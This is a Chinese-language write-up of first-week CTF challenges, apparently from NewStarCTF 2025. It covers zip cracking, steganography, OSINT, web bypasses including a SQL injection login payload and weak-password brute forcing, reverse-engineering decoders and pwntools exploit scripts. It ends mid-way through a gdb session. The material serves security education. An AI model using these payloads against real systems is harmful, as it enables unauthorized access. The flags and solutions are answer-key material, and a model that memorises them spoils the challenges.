Week 1 Misc 我不要革命失败 Challenge
小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?
【难度:简单】
Solution 在微软商店 安装 WinDbg
在 File
-> Settings
-> Debugging settings
-> Default symbol path
填写微软官方的符号服务器地址然后点击 OK:
1 srv*c:\symbols*http://msdl.microsoft.com/download/symbols
输入题目描述中的命令:
崩溃类型
在日志的最上方,!analyze -v
的输出结果显示:
1 2 3 4 5 6 7 8 ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* CRITICAL_PROCESS_DIED (ef) A critical system process died
这里的 CRITICAL_PROCESS_DIED
就是蓝屏显示的终止代码的文字描述,“A critical system process died”是一种非常严重的错误,Windows 为了保护自身会立刻蓝屏
故障进程
继续向下看日志可以找到好几个地方指明了是哪个进程出了问题:
1 PROCESS_NAME: svchost.exe
还有一行更具体的:
1 CRITICAL_PROCESS: svchost.exe
这说明导致这次蓝屏的关键进程就是 svchost.exe
FLAG 1 flag{CRITICAL_PROCESS_DIED_svchost.exe}
MISC城邦-压缩术 Challenge
欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)
【难度:简单】
Solution 6位密码门
说明密码长度为 6,abcd...xyz0123...789
意味着密码范围是小写英文字母和数字
根据提示爆破得到压缩密码是 ns2025
,得到提示:
1 恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)
显然是伪加密,用随波逐流修复一下,解压
这个 key.txt
和压缩包里面的 key.txt
是一模一样的,很基础的明文攻击
FLAG 1 flag{You_have_mastered_the_zip_magic!}
EZ_fence Challenge
rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。
【难度:简单】
Solution 图片文件尾藏了一个 rar 文件,先提取,发现要密码
图片内的文字是:
1 rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB
修复图片宽高后在下方出现以下文字:
1 8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_
如图得到压缩包的解压密码
1 New5tar_zjuatrojee1mage5eed77yo#
解压缩拿到 flag
FLAG 1 flag{y0u_kn0w_ez_fence_tuzh0ng}
OSINT-天空belong Challenge
OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。
请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_当前已经经过的省会城市名称(**市)_所拍摄设备制造商}
【难度:简单】
Solution 先查图片的 exif 信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 ExifTool Version Number : 13.25 File Name : OSINT-天空belong.jpg Directory : E:/Desktop Warning : FileName encoding must be specified [x2] File Size : 418 kB File Modification Date/Time : 2025:08:24 18:02:45+08:00 File Access Date/Time : 2025:10:02 00:53:34+08:00 File Creation Date/Time : 2025:08:24 18:02:45+08:00 File Permissions : -r--r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Make : Xiaomi Orientation : Rotate 90 CW Modify Date : 2025:08:17 15:03:47 GPS Latitude Ref : Unknown () GPS Speed : undef GPS Altitude Ref : Above Sea Level GPS Processing Method : GPS Speed Ref : Unknown () GPS Longitude Ref : Unknown () GPS Time Stamp : 00:00:00 GPS Date Stamp : Y Resolution : 72 X Resolution : 72 Camera Model Name : Xiaomi 15 Y Cb Cr Positioning : Centered Exif Version : 0230 Aperture Value : 1.6 Scene Type : Directly photographed Exposure Compensation : 0 Exposure Program : Program AE Color Space : sRGB Max Aperture Value : 1.6 Exif Image Height : 1080 ISO Speed : 50 Brightness Value : 8.65 Date/Time Original : 2025:08:17 15:03:47 Flashpix Version : 0100 Sub Sec Time Original : 472 White Balance : Auto Interoperability Index : R98 - DCF basic file (sRGB) Interoperability Version : 0100 Exposure Mode : Auto Exposure Time : 1/4059 Offset Time : +08:00 Flash : Off, Did not fire Sub Sec Time : 472 F Number : 1.6 Exif Image Width : 1920 ISO : 50 Components Configuration : Y, Cb, Cr, - Focal Length In 35mm Format : 23 mm Sub Sec Time Digitized : 472 Create Date : 2025:08:17 15:03:47 Shutter Speed Value : 1/4056 Metering Mode : Center-weighted average Focal Length : 6.5 mm Sensitivity Type : ISO Speed Offset Time Original : +08:00 Scene Capture Type : Standard Light Source : D65 Sensing Method : Not defined Resolution Unit : inches Xiaomi Model : Xiaomi 15 Compression : JPEG (old-style) Thumbnail Offset : 1478 Thumbnail Length : 4709 Image Width : 1920 Image Height : 1080 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Aperture : 1.6 Image Size : 1920x1080 Megapixels : 2.1 Scale Factor To 35 mm Equivalent: 3.5 Shutter Speed : 1/4059 Create Date : 2025:08:17 15:03:47.472 Date/Time Original : 2025:08:17 15:03:47.472+08:00 Modify Date : 2025:08:17 15:03:47.472+08:00 Thumbnail Image : (Binary data 4709 bytes, use -b option to extract) GPS Date/Time : 00:00:00Z GPS Latitude : GPS Longitude : Circle Of Confusion : 0.009 mm Field Of View : 76.1 deg Focal Length : 6.5 mm (35 mm equivalent: 23.0 mm) Hyperfocal Distance : 3.10 m Light Value : 14.4
从 exif 信息中得到的有用信息是:拍摄设备制造商是 Xiaomi
,拍摄时间是 2025:08:17 15:03:47
图片是机翼的照片,上面泄露了这架飞机的国籍注册号 B-7198
,可以在在线网站上查询到这台飞机在 2025 年 8 月 17 日下午 3 点时的飞行状况:B-7198 Flight Tracking and History 17-Aug-2025 (TNA / ZSJN-CSX / ZGHA) - FlightAware
这趟飞机的航班号是 UQ3574
,起飞时间是 01:37PM,计算得到在 03:03PM 时已经起飞了 1h26min,拖动一下时间进度条就能看到当时飞机的位置了
飞机在湖北省上空,省会是 武汉市
FLAG
前有文字,所以搜索很有用 Challenge
欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)
【难度:困难】
Solution Track 1:fL4g已经被挤在中间了
1 2 3 4 5 6 7 8 9 零宽度空格符 (zero-width space) \u200B : 用于较长单词的换行分隔 零宽度非断空格符 (zero width no-break space) \uFEFF : 用于阻止特定位置的换行分隔 零宽度连字符 (zero-width joiner) \u200D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果 零宽度断字符 (zero-width non-joiner) \u200C : 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果 左至右符 (left-to-right mark) \u200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右
零宽字符隐写+base64解码
flag{you_
Track 2:咏雪
这简直就是在fxxk我的brain.txt
内容如下
1 2 3 4 5 here's key +++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ +.<++ ++[-> ++++< ]>.<+ +++[- >---- <]>-. +++++ +++.+ ++++. ----- ---.< +++[- >+++< ]>+++ +++.< ++++[ ->--- -<]>- -.+++ +++++ .--.< +++[- >+++< ]>+.< +++[- >---< ]>--- .++++ ++++. ..... <+++[ ->--- <]>-- .<
brainfuck 解码得到 brainfuckisgooooood
咏雪.docx
如下
联想到前面给出了 key brainfuckisgooooood
很容易想到是 snow 隐写,把全部内容提出来放到 咏雪.txt
然后用工具提取(注意这里由于出题人没压缩所以不用加 -C 参数)
1 2 snow.exe -p "brainfuckisgooooood" 咏雪.txt ----- ...- ...-- .-. -.-. ....- -- . ..--.-
解摩斯电码
0V3RC4ME_
Track 3:谁多谁少,一算便知
附件太长我就不粘了,思路是提取出字符表然后统计各个字符的出现次数,最后根据字符出现的次数从高到低排序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import collectionsfilename = "谁多谁少,一算便知.txt" with open (filename, 'r' , encoding='utf-8' ) as file: content = file.read() character_table = sorted (list (set (content))) print (f"字符表 (共 {len (character_table)} 种):" )print ('' .join(character_table))print ("-" * 30 )char_counts = collections.Counter(content) print ("统计结果:" )special_char_map = { '\n' : r'\n (换行)' , ' ' : ' (空格)' , '\t' : r'\t (制表符)' } for char, count in char_counts.most_common(): display_char = special_char_map.get(char, char) print (f"{display_char} :{count} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 字符表 (共 95 种): !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ------------------------------ 统计结果: c:1500 H:1450 @:1400 1:1350 L:1300 e:1250 n:1200 G:1150 3:1100 s:1050 }:1000 w:659 !:648 i:637 V:635 F:632 K:631 Q:631 A:629 .:627 v:627 9:626 d:625 ;:625 &:622 ]:621 m:619 Y:619 >:619 h:618 t:617 5:613 ):612 k:612 #:610 6:608 r:607 T:607 u:606 C:605 4:605 0:601 J:601 x:600 Z:599 ::598 E:597 M:597 <:597 q:597 z:596 o:596 P:594 /:594 U:594 ":594 b:593 +:593 |:592 p:592 B:591 {:591 y:590 $:590 ?:588 7:587 a:585 %:584 (空格):584 *:583 ~:582 ,:581 -:579 ^:579 [:579 l:577 2:576 _:575 (:573 R:573 f:571 \:571 ':566 O:565 W:563 =:560 `:559 g:557 I:557 8:556 X:556 D:556 S:553 j:547 N:539
cH@1LenG3s}
FLAG 1 flag{you_0V3RC4ME_cH@1LenG3s}
Web multi-headach3 Challenge
什么叫机器人控制了我的头?
【难度:简单】
Solution 访问 /
得到:
1 2 3 4 5 6 7 Hello! Today is 2025/10/01 welcome to my first website! ROBOTS is protecting this website! But... Why my head is so painful???!!!
接着访问 /robots.txt
得到:
1 2 User-agent: * Disallow: /hidden.php
接着访问 /hidden.php
重定向回了 /index.php
,curl 看看
1 2 3 4 5 6 7 8 9 curl -I https://eci-2zehy0lhdsvatd41dope.cloudeci1.ichunqiu.com/hidden.php HTTP/1.1 302 Found Date: Wed, 01 Oct 2025 18:50:23 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.5.9-1ubuntu4.29 Set-Cookie: found_hidden=1 Fl4g: flag{30eb463a-688d-4087-8a14-430cb8987bce} Location: /index.php
FLAG 1 flag{30eb463a-688d-4087-8a14-430cb8987bce}
strange_login Challenge
我当然知道1=1了!?
【难度:简单】
Solution 明显是 SQL 注入,还是最简单那种,用户名填 admin' OR '1'='1
,密码随便
FLAG 1 flag{00289c2c-3579-48a9-ba55-369cc187c87b}
黑客小W的故事(1) Challenge
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
Solution 抓包看看,直接POST /hunt
,payload 填大点,在控制台发个包试试看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const url = '/hunt' ;const payload = {count : 99 };fetch (url, { method : 'POST' , headers : {'Content-Type' : 'application/json' }, body : JSON .stringify (payload) }) .then (response => { if (!response.ok ) { throw new Error ('Network response was not ok: ' + response.status ); } return response.json (); }) .then (data => { console .log (data); }) .catch (error => { console .error (error); });
返回了 {"NextLevel":"/Level2_mato"}
,跳转到第二关
根据下面的提示得知要访问 /talkToMushroom?shipin=mogubaozi
,交谈后又知道要用 POST 方法(参数 guding
在上一段对话中提到过),还是在控制台发包
1 2 3 4 5 6 7 8 9 10 11 fetch ('/talkToMushroom?shipin=mogubaozi' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'say=guding' }) .then (response => response.text ()) .then (data => { console .log (data); });
得到新的提示 这样吧,你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你
,还是在控制台发包
1 2 3 4 5 6 7 8 9 10 11 fetch ('/talkToMushroom?shipin=mogubaozi' , { method : 'DELETE' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'shipin=chongzi' }) .then (response => response.text ()) .then (data => { console .log (data); });
再回复一次要骨钉
1 2 3 4 5 6 7 8 9 10 11 fetch ('/talkToMushroom?shipin=mogubaozi' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'say=guding' }) .then (response => response.text ()) .then (data => { console .log (data); });
得到回复 你已经帮我把虫子弄掉了,我把骨钉给你吧,你可以回去找那个大家伙了(/Level2_END)
,根据提示跳转到 /Level2_END
改 UA 头,CycloneSlash
-> CycloneSlash/1.0
-> CycloneSlash/2.0
-> CycloneSlash/2.0 DashSlash/1.0
-> CycloneSlash/2.0 DashSlash/5.0
然后在 /Level4_Sly
得到 flag
FLAG 1 flag{9a254a84-22bd-4cd2-bfea-b4d608075239}
宇宙的中心是php Challenge
所有光线都逃不出去……但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
Solution F12
找到 s3kret.php
,然后访问,给出了下面的代码:
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );include "flag.php" ;if (isset ($_POST ['newstar2025' ])){ $answer = $_POST ['newstar2025' ]; if (intval ($answer )!=47 &&intval ($answer ,0 )==47 ){ echo $flag ; }else { echo "你还未参透奥秘" ; } }
在控制台发包:
1 2 3 4 5 6 7 8 9 10 11 fetch ('' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'newstar2025=057' }) .then (response => response.text ()) .then (data => { console .log (data); });
在最底下得到 flag
FLAG 1 flag{75fd9c81-19d0-4a01-951b-d5d45aa2fc9c}
我真得控制你了 Challenge
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
Solution 删一下拦截的元素然后按下按钮跳转到 /weak_password.php
弱口令爆破,账密是 admin/111111
,下一关来到了 /portal.php
拿到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );function generate_dynamic_flag ($secret ) { return getenv ("ICQ_FLAG" ) ?: 'default_flag' ; } if (isset ($_GET ['newstar' ])) { $input = $_GET ['newstar' ]; if (is_array ($input )) { die ("恭喜掌握新姿势" ); } if (preg_match ('/[^\d*\/~()\s]/' , $input )) { die ("老套路了,行不行啊" ); } if (preg_match ('/^[\d\s]+$/' , $input )) { die ("请输入有效的表达式" ); } $test = 0 ; try { @eval ("\$test = $input ;" ); } catch (Error $e ) { die ("表达式错误" ); } if ($test == 2025 ) { $flag = generate_dynamic_flag ($flag_secret ); echo "<div class='success'>拿下flag!</div>" ; echo "<div class='flag-container'><div class='flag'>FLAG: {$flag} </div></div>" ; } else { echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>" ; } } else { ?> <?php } ?>
审计代码可以知道参数 newstar
要满足以下条件:
计算结果是 2025
只使用允许的字符:数字、*, /, ~, (), 空格
不能只包含数字和空格
随便构造一个满足条件的等式就行 /portal.php?newstar=2025/1
FLAG 1 flag{fad9d5bf-245e-4035-bc19-6da7bf63090f}
别笑,你也过不了第二关 Challenge
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
Solution 控制台改变量就行,改两次就过了
FLAG 1 flag{e466e3ec-c40e-4f61-a2cb-4bcbfdb6e3f0}
Reverse Strange Base Challenge
奇怪?这base64为什么不能一把梭了?
【难度:中等】
Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall main () { int binlength; size_t Size; char enc[48 ]; unsigned __int8 output[48 ]; unsigned __int8 input[48 ]; _main(); memset (input, 0 , sizeof (input)); memset (output, 0 , sizeof (output)); puts_0("It's time to show your flag to me~~~" ); strcpy (enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" ); scanf_s("%s" , input); binlength = strlen ((const char *)input); base64_encode(input, (char *)output, binlength); Size = strlen (enc); if ( !memcmp_0(output, enc, Size) ) printf ("Oh! You're awesome!!!" ); else puts_0("Wrong!" ); return 0 ; }
打开一眼看到密文 T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=
,接下来看加密函数 base64_encode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 char *__cdecl base64_encode (const unsigned __int8 *bindata, char *base64, int binlength) { int j_1; int v4; int ja_1; int v6; int v7; unsigned __int8 current; unsigned __int8 currenta; int j; int ja; int jb; int i; i = 0 ; j = 0 ; while ( i < binlength ) { j_1 = j; ja = j + 1 ; base64[j_1] = aHelloACrqzyB4s[(bindata[i] >> 2 ) & 0x3F ]; current = (16 * bindata[i]) & 0x30 ; if ( binlength <= i + 1 ) { base64[ja] = aHelloACrqzyB4s[current]; base64[ja + 1 ] = 61 ; v4 = ja + 2 ; j = ja + 3 ; base64[v4] = 61 ; break ; } ja_1 = ja; jb = ja + 1 ; base64[ja_1] = aHelloACrqzyB4s[(bindata[i + 1 ] >> 4 ) | current]; currenta = (4 * bindata[i + 1 ]) & 0x3C ; if ( binlength <= i + 2 ) { base64[jb] = aHelloACrqzyB4s[currenta]; v6 = jb + 1 ; j = jb + 2 ; base64[v6] = 61 ; break ; } base64[jb] = aHelloACrqzyB4s[(bindata[i + 2 ] >> 6 ) | currenta]; v7 = jb + 1 ; j = jb + 2 ; base64[v7] = aHelloACrqzyB4s[bindata[i + 2 ] & 0x3F ]; i += 3 ; } base64[j] = 0 ; return base64; }
定位到自定义表 aHelloACrqzyB4s
1 2 3 4 .rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV' .rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o .rdata:0000000140004000 ; base64_encode+8C↑o ... .rdata:000000014000403B db 'KJNMF',0
拼接得到 HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM
编写解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def base64_decode (encoded_str, alphabet ): decode_map = {char: index for index, char in enumerate (alphabet)} padding_count = encoded_str.count('=' ) if padding_count > 0 : encoded_str = encoded_str[:-padding_count] binary_str = "" for char in encoded_str: index = decode_map[char] binary_str += format (index, '06b' ) if padding_count == 1 : binary_str = binary_str[:-2 ] elif padding_count == 2 : binary_str = binary_str[:-4 ] decoded_bytes = bytearray () for i in range (0 , len (binary_str), 8 ): byte_chunk = binary_str[i:i+8 ] if len (byte_chunk) == 8 : decoded_bytes.append(int (byte_chunk, 2 )) return decoded_bytes.decode('utf-8' , errors='ignore' ) table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM" cipher = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" flag = base64_decode(cipher, table) print (flag)
FLAG 1 flag{Wh4t_a_cra2y_8as3!!!}
X0r Challenge
no xor,no encrypt.
【难度:签到】
Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int __fastcall main (int argc, const char **argv, const char **envp) { char Str2[32 ]; _BYTE v5[16 ]; char Str[36 ]; int i_1; int j; int i; _main(); puts_0("Please input your flag: " ); scanf ("%25s" , Str); i_1 = strlen (Str); if ( i_1 == 24 ) { for ( i = 0 ; i < i_1; ++i ) { if ( i % 3 ) { if ( i % 3 == 1 ) Str[i] ^= 0x11u ; else Str[i] ^= 0x45u ; } else { Str[i] ^= 0x14u ; } } v5[0 ] = 19 ; v5[1 ] = 19 ; v5[2 ] = 81 ; for ( j = 0 ; j < i_1; ++j ) Str[j] ^= v5[j % 3 ]; strcpy (Str2, "anu`ym7wKLl$P]v3q%D]lHpi" ); if ( !strcmp (Str, Str2) ) puts_0("Right flag!" ); else puts_0("Wrong flag!" ); return 0 ; } else { puts_0("Wrong flag length!" ); return 0 ; } }
编写解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cipher = "anu`ym7wKLl$P]v3q%D]lHpi" target = bytearray (cipher, 'ascii' ) key1 = [0x14 , 0x11 , 0x45 ] key2 = [0x13 , 0x13 , 0x51 ] intermediate = bytearray (24 ) for i in range (24 ): intermediate[i] = target[i] ^ key2[i % 3 ] flag = bytearray (24 ) for i in range (24 ): flag[i] = intermediate[i] ^ key1[i % 3 ] print (flag.decode('ascii' ))
FLAG 1 flag{y0u_Kn0W_b4s1C_xOr}
Puzzle Challenge
咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?
【难度:简单】
Solution part1:Puzzle_Challenge 组合出的字符串
part2:提示的函数名
反编译 Like_7his_Jig(0x140001450)
:
文本:”You found the second part of the flag–The function name.”
part2 = "Like_7his_Jig"
part3:异或还原的数据
part4:main 中的“奇怪字符串”
反编译 main(0x140001543)
:
在字符串表中发现:"1e_Gam3" @ 0x140004000
part4 = "1e_Gam3"
FLAG 1 flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}
EzMyDroid Challenge
普普通通的安卓逆向,请准备好Jadx
【难度:简单】
Solution
FLAG 1 flag{@_g00d_st@r7_f0r_ANDROID}
plzdebugme Challenge
动态调试是学习逆向必不可少的一部分:)
【难度:中等】
Solution gpt 一把梭大法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from Crypto.Cipher import AESciphertext = bytes ([ 0x1a , 0x90 , 0x75 , 0xeb , 0x0f , 0xe0 , 0xde , 0xdf , 0x26 , 0xb9 , 0x1e , 0xda , 0x06 , 0xd7 , 0xc2 , 0xa5 , 0xc8 , 0x09 , 0xfb , 0x46 , 0xd7 , 0x8c , 0x11 , 0x17 , 0x4a , 0x39 , 0x25 , 0x59 , 0xa0 , 0xf1 , 0xd6 , 0x30 ]) rc4_key = b"Wow" def rc4_crypt (key: bytes , data: bytes ) -> bytes : S = list (range (256 )) j = 0 keylen = len (key) for i in range (256 ): j = (j + S[i] + key[i % keylen]) & 0xFF S[i], S[j] = S[j], S[i] i = j = 0 out = bytearray () for b in data: i = (i + 1 ) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF ] out.append(b ^ K) return bytes (out) key = bytes ([ 0x2B , 0x7E , 0x15 , 0x16 , 0x28 , 0xAE , 0xD2 , 0xA6 , 0xAB , 0xF7 , 0x97 , 0x75 , 0x46 , 0x41 , 0x11 , 0x00 ]) iv = bytes ([ 0x11 , 0x45 , 0x14 , 0x11 , 0x45 , 0x14 , 0x11 , 0x45 , 0x14 , 0x11 , 0x45 , 0x14 , 0x11 , 0x45 , 0x14 , 0x11 ]) rc4_out = rc4_crypt(rc4_key, ciphertext) aes = AES.new(key, AES.MODE_CBC, iv) aes_plain = aes.decrypt(rc4_out) flag = bytes (b ^ 0x26 for b in aes_plain) print (flag.decode('utf-8' ))
FLAG 1 flag{It3_D3bugG_T11me!_le3_play}
Pwn pwn’s door Challenge
Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。
【难度:签到】
Solution 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *HOST = '8.147.132.32' PORT = 23283 p = remote(HOST, PORT) password = b'7038329' p.recvuntil(b'password: ' ).decode() p.sendline(password) p.interactive()
FLAG 1 flag{74c648dc-e5d6-4251-a7c4-6ea1e9a13864}
INTbug Challenge
整数好像有些奇怪的秘密
【难度:简单】
Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 func () { __int16 v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28u ); v1 = 0 ; while (1 ) { v2 = 0 ; __isoc99_scanf("%d" , &v2); if (v2 <= 0 ) break ; if (++v1 < 0 ) { puts ("You got it!\n" ); system("cat flag" ); } } puts ("You can only input positive number!\n" ); return v3 - __readfsqword(0x28u ); }
辅助信息(main
与初始化):
1 2 3 4 5 6 7 8 9 10 11 12 13 int main (...) { init(...); puts ("welcome to NewStarCTF2025!\n" ); alarm(100 ); func(); return 0 ; } int init (...) { setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); return setvbuf(stderr , 0 , 2 , 0 ); }
漏洞点:func 中使用了有符号 16 位计数器(__int16 v1
),每次输入正数时自增并检查 (++v1 < 0)
。
当 v1
从 32767 溢出为 -32768 时条件成立,打印“You got it!”并执行 system("cat flag")
。
只需连续输入 32768 次正整数(例如“1”)即可触发拿到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import socketimport timeHOST = "47.94.87.199" PORT = 24717 def main (): total = 32768 per_batch = 1024 deadline = time.time() + 120 with socket.create_connection((HOST, PORT), timeout=5 ) as s: s.settimeout(0.2 ) sent = 0 collected = b"" s.recv(4096 ) while sent < total and time.time() < deadline: batch = min (per_batch, total - sent) s.sendall(("1\n" * batch).encode()) sent += batch try : buf = s.recv(4096 ) if buf: collected += buf print (buf.decode(errors="ignore" ), end="" ) if b"flag" in collected.lower(): pass except socket.timeout: pass end_deadline = time.time() + 10 while time.time() < end_deadline: try : buf = s.recv(4096 ) collected += buf print (buf.decode(errors="ignore" ), end="" ) except socket.timeout: continue if __name__ == "__main__" : main()
FLAG 1 flag{3bb9a457-4895-41f0-a625-a076a77dd457}
GNU Debugger Challenge
进入pwn的世界之后的第一关,了解你的好伙伴gdb
【难度:简单】
这是一个熟悉gdb的好机会,在开始挑战之前,请确保你的电脑已经安装好gdb。
gdb 在绝大部分 Linux 发行版上都已默认安装,你可以在 shell 中输入 gdb 命令进行确认 若你的计算机尚未安装 gdb,则可以使用如下命令进行安装,请自行分辨你所使用的发行版。
Debian / Ubuntu: sudo apt-get install -y gdb
若你已经提前配置好环境,安装好了pwndbg之类的插件,我推荐使用原生gdb就好了。 这些插件能够看到的信息更多,但是对于没什么基础的你可能不太合适,我们慢慢来就好。 如果你不知道如何取消使用这些插件的话,去~/.gdbinit这个文件里将”source xxx”之类的语句注释掉吧。
题目的流程为:
启动靶机获得端口和ip
启动程序: ./gdb_challenge (假设你已经在这个程序所在的目录)
进行一系列的gdb挑战
完成所有挑战,得到flag
ps: 这题暂时用不到ida哦,推荐直接执行程序,跟着流程来就好啦。不过也可以通过逆向工程来得到flag ^^
Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 ┌──(kali㉿kali)-[~/Desktop] └─$ ./gdb_challenge ###输入 run <ip> <端口> 开始游戏, 其中ip和端口通过开启容器得到### ###使用示例 run 127 .0 .0 .1 7777 ### ###按下 ctrl + c 断开连接### Reading symbols from ./gdb_challenge... (No debugging symbols found in ./gdb_challenge) (gdb) run 47 .94 .87 .199 34825 Starting program: /home/kali/Desktop/gdb_challenge 47 .94 .87 .199 34825 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1 ". ### 向导加入了队伍。. 向导: 欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。 当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧 完成4 个关卡后就能得到flag咯 --- 关卡 1 : 已验丁真 --- 向导: 我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗? 找到r12的16 进制值就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap. 0 x0000555555555530 in stage_0_register_check ()(gdb) p/x $r12 $1 = 0 x41c4d520553a142e (gdb) c Continuing. 向导: r12寄存器里面装着什么呢?好难猜啊, 记住我要16 